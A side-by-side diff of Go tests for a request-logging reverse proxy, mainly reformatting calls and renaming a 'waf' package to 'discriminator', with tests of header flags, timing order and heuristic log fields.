func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader( func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
const hasAuthorization, hasCookie = "has_authorization", "has_cookie" const hasAuthorization, hasCookie = "has_authorization", "has_cookie"
@@ -202,13 +186,8 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(
_, otherPresent := line.fields[tc.other] _, otherPresent := line.fields[tc.other]
if line.fields[tc.field] != true || otherPresent { if line.fields[tc.field] != true || otherPresent {
t.Errorf( t.Errorf("log line has %s %v and %s %v, want true and none",
"log line has %s %v and %s %v, want true and none", tc.field, line.fields[tc.field], tc.other, line.fields[tc.other])
tc.field,
line.fields[tc.field],
tc.other,
line.fields[tc.other],
)
} }
}) })
} }
@@ -217,7 +196,7 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(
func TestTimingsAreInOrder(t *testing.T) { func TestTimingsAreInOrder(t *testing.T) {
t.Parallel() t.Parallel()
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS const denied = "192.0.2.50" // in SWW_DENY_NETS
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
// The pause sets the times apart; a hold-up of the test only lengthens // The pause sets the times apart; a hold-up of the test only lengthens
@@ -227,16 +206,10 @@ func TestTimingsAreInOrder(t *testing.T) {
_, _ = io.WriteString(w, "done") _, _ = io.WriteString(w, "done")
}) })
addr, out, server := startProxyWithClock( addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, map[string]string{
t, trustedProxies: trustLocalhost,
app.URL, denyNets: denied,
"", })
time.Now,
map[string]string{
trustedProxies: trustLocalhost,
denyNets: denied,
},
)
// Each log line is waited for before the next request, so that the // Each log line is waited for before the next request, so that the
// lines are in order. // lines are in order.
@@ -248,7 +221,7 @@ func TestTimingsAreInOrder(t *testing.T) {
wantStatus(t, do(t, req), http.StatusForbidden) wantStatus(t, do(t, req), http.StatusForbidden)
refused := out.endedLines(t, 2)[1] refused := out.endedLines(t, 2)[1]
wantStatus(t, get(t, server.Addr, waf.HealthPath), http.StatusOK) wantStatus(t, get(t, server.Addr, discriminator.HealthPath), http.StatusOK)
health := out.endedLines(t, 3)[2] health := out.endedLines(t, 3)[2]
// A request passed to the app has every timing; one refused, none of // A request passed to the app has every timing; one refused, none of
@@ -270,12 +243,8 @@ func TestTimingsAreInOrder(t *testing.T) {
// The checks end before the request is handed to the app. // The checks end before the request is handed to the app.
if checks+upstream > total { if checks+upstream > total {
t.Errorf( t.Errorf("timings in microseconds: total %d, checks %d, upstream total %d",
"timings in microseconds: total %d, checks %d, upstream total %d", total, checks, upstream)
total,
checks,
upstream,
)
} }
if *refused.DurationChecksMS > refused.DurationTotalMS { if *refused.DurationChecksMS > refused.DurationTotalMS {
@@ -300,12 +269,7 @@ func wantTimings(t *testing.T, line logLine, want ...string) {
slices.Sort(want) slices.Sort(want)
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf( t.Errorf("log line of %s has timings %v, want %v", line.Path, got, want)
"log line of %s has timings %v, want %v",
line.Path,
got,
want,
)
} }
} }
@@ -316,43 +280,23 @@ func wantHeuristic(t *testing.T, line logLine, heuristic, figures string) {
t.Helper() t.Helper()
if line.Heuristic != heuristic || if line.Heuristic != heuristic ||
!reflect.DeepEqual( !reflect.DeepEqual(line.HeuristicFigures, decodeFigures(t, figures)) {
line.HeuristicFigures, t.Errorf("log line has heuristic %q with heuristic_figures %v, want %q with %s",
decodeFigures(t, figures), line.Heuristic, line.HeuristicFigures, heuristic, figures)
) {
t.Errorf(
"log line has heuristic %q with heuristic_figures %v, want %q with %s",
line.Heuristic,
line.HeuristicFigures,
heuristic,
figures,
)
} }
} }
// wantAfterAnswerHeuristic checks after_answer_heuristic and // wantAfterAnswerHeuristic checks after_answer_heuristic and
// after_answer_heuristic_figures as wantHeuristic checks heuristic and // after_answer_heuristic_figures as wantHeuristic checks heuristic and
// heuristic_figures. // heuristic_figures.
func wantAfterAnswerHeuristic( func wantAfterAnswerHeuristic(t *testing.T, line logLine, heuristic, figures string) {
t *testing.T,
line logLine,
heuristic, figures string,
) {
t.Helper() t.Helper()
if line.AfterAnswerHeuristic != heuristic || if line.AfterAnswerHeuristic != heuristic ||
!reflect.DeepEqual( !reflect.DeepEqual(line.AfterAnswerHeuristicFigures, decodeFigures(t, figures)) {
line.AfterAnswerHeuristicFigures, t.Errorf("log line has after_answer_heuristic %q with "+
decodeFigures(t, figures), "after_answer_heuristic_figures %v, want %q with %s",
) { line.AfterAnswerHeuristic, line.AfterAnswerHeuristicFigures, heuristic, figures)
t.Errorf(
"log line has after_answer_heuristic %q with "+
"after_answer_heuristic_figures %v, want %q with %s",
line.AfterAnswerHeuristic,
line.AfterAnswerHeuristicFigures,
heuristic,
figures,
)
} }
} }
Loaded 100 of 165 files, more files were not shown because too many files have changed in this diff. Show more